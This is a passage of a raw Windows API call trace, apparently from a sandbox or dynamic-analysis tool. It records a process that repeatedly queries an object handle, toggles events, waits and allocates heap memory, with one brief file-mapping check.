[0057.450] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.450] ResetEvent (hEvent=0xe8) returned 1 [0057.450] SetEvent (hEvent=0xec) returned 1 [0057.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.450] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.450] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.450] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.450] ResetEvent (hEvent=0xe8) returned 1 [0057.450] SetEvent (hEvent=0xec) returned 1 [0057.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.450] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.451] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.451] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.451] ResetEvent (hEvent=0xe8) returned 1 [0057.451] SetEvent (hEvent=0xec) returned 1 [0057.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.451] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.451] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.451] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.451] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.451] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.451] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.451] ResetEvent (hEvent=0xe8) returned 1 [0057.451] SetEvent (hEvent=0xec) returned 1 [0057.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.451] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.451] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.451] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.451] ResetEvent (hEvent=0xe8) returned 1 [0057.452] SetEvent (hEvent=0xec) returned 1 [0057.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.452] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.452] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.452] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.452] ResetEvent (hEvent=0xe8) returned 1 [0057.452] SetEvent (hEvent=0xec) returned 1 [0057.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.452] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.452] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.452] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.452] ResetEvent (hEvent=0xe8) returned 1 [0057.452] SetEvent (hEvent=0xec) returned 1 [0057.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.452] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.452] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.452] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.452] ResetEvent (hEvent=0xe8) returned 1 [0057.453] SetEvent (hEvent=0xec) returned 1 [0057.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.453] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.453] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.453] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.453] ResetEvent (hEvent=0xe8) returned 1 [0057.453] SetEvent (hEvent=0xec) returned 1 [0057.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.453] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.453] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.453] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.453] ResetEvent (hEvent=0xe8) returned 1 [0057.453] SetEvent (hEvent=0xec) returned 1 [0057.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.453] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.453] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.453] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.453] ResetEvent (hEvent=0xe8) returned 1 [0057.453] SetEvent (hEvent=0xec) returned 1 [0057.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.454] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.454] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.454] ResetEvent (hEvent=0xe8) returned 1 [0057.454] SetEvent (hEvent=0xec) returned 1 [0057.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.454] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.454] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.454] ResetEvent (hEvent=0xe8) returned 1 [0057.454] SetEvent (hEvent=0xec) returned 1 [0057.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.454] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.454] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.454] ResetEvent (hEvent=0xe8) returned 1 [0057.454] SetEvent (hEvent=0xec) returned 1 [0057.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.455] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.455] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.455] ResetEvent (hEvent=0xe8) returned 1 [0057.455] SetEvent (hEvent=0xec) returned 1 [0057.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.455] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.455] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.455] ResetEvent (hEvent=0xe8) returned 1 [0057.455] SetEvent (hEvent=0xec) returned 1 [0057.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.455] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.455] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.455] ResetEvent (hEvent=0xe8) returned 1 [0057.455] SetEvent (hEvent=0xec) returned 1 [0057.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.456] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.456] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.456] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.456] ResetEvent (hEvent=0xe8) returned 1 [0057.456] SetEvent (hEvent=0xec) returned 1 [0057.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.456] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.456] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.456] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.456] ResetEvent (hEvent=0xe8) returned 1 [0057.456] SetEvent (hEvent=0xec) returned 1 [0057.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.456] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.456] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.456] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.456] ResetEvent (hEvent=0xe8) returned 1 [0057.456] SetEvent (hEvent=0xec) returned 1 [0057.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.457] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.457] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.457] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.457] ResetEvent (hEvent=0xe8) returned 1 [0057.457] SetEvent (hEvent=0xec) returned 1 [0057.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.457] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.457] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.457] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.457] ResetEvent (hEvent=0xe8) returned 1 [0057.457] SetEvent (hEvent=0xec) returned 1 [0057.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.457] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.457] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.457] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.457] ResetEvent (hEvent=0xe8) returned 1 [0057.457] SetEvent (hEvent=0xec) returned 1 [0057.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.458] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.458] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.458] ResetEvent (hEvent=0xe8) returned 1 [0057.458] SetEvent (hEvent=0xec) returned 1 [0057.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.458] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.458] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.458] ResetEvent (hEvent=0xe8) returned 1 [0057.458] SetEvent (hEvent=0xec) returned 1 [0057.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.458] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.458] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.458] ResetEvent (hEvent=0xe8) returned 1 [0057.458] SetEvent (hEvent=0xec) returned 1 [0057.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.459] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.459] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.459] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.459] ResetEvent (hEvent=0xe8) returned 1 [0057.459] SetEvent (hEvent=0xec) returned 1 [0057.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.459] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.459] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.459] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.459] ResetEvent (hEvent=0xe8) returned 1 [0057.459] SetEvent (hEvent=0xec) returned 1 [0057.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.459] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.459] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.459] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.459] ResetEvent (hEvent=0xe8) returned 1 [0057.459] SetEvent (hEvent=0xec) returned 1 [0057.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.460] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.460] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.460] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.460] ResetEvent (hEvent=0xe8) returned 1 [0057.460] SetEvent (hEvent=0xec) returned 1 [0057.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.460] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.460] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.460] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.460] ResetEvent (hEvent=0xe8) returned 1 [0057.460] SetEvent (hEvent=0xec) returned 1 [0057.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.460] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.460] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.460] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.460] ResetEvent (hEvent=0xe8) returned 1 [0057.460] SetEvent (hEvent=0xec) returned 1 [0057.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.461] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.461] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.461] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.461] ResetEvent (hEvent=0xe8) returned 1 [0057.461] SetEvent (hEvent=0xec) returned 1 [0057.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.461] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.461] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.461] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.461] ResetEvent (hEvent=0xe8) returned 1 [0057.461] SetEvent (hEvent=0xec) returned 1 [0057.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.461] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.461] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.461] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.461] ResetEvent (hEvent=0xe8) returned 1 [0057.461] SetEvent (hEvent=0xec) returned 1 [0057.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.462] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.462] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.462] ResetEvent (hEvent=0xe8) returned 1 [0057.462] SetEvent (hEvent=0xec) returned 1 [0057.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.462] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.462] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.462] ResetEvent (hEvent=0xe8) returned 1 [0057.462] SetEvent (hEvent=0xec) returned 1 [0057.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.462] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.462] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.462] ResetEvent (hEvent=0xe8) returned 1 [0057.462] SetEvent (hEvent=0xec) returned 1 [0057.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.462] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.463] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.463] ResetEvent (hEvent=0xe8) returned 1 [0057.463] SetEvent (hEvent=0xec) returned 1 [0057.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.463] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.463] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.463] ResetEvent (hEvent=0xe8) returned 1 [0057.463] SetEvent (hEvent=0xec) returned 1 [0057.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.463] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.463] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.463] ResetEvent (hEvent=0xe8) returned 1 [0057.463] SetEvent (hEvent=0xec) returned 1 [0057.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.463] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.463] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.464] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: 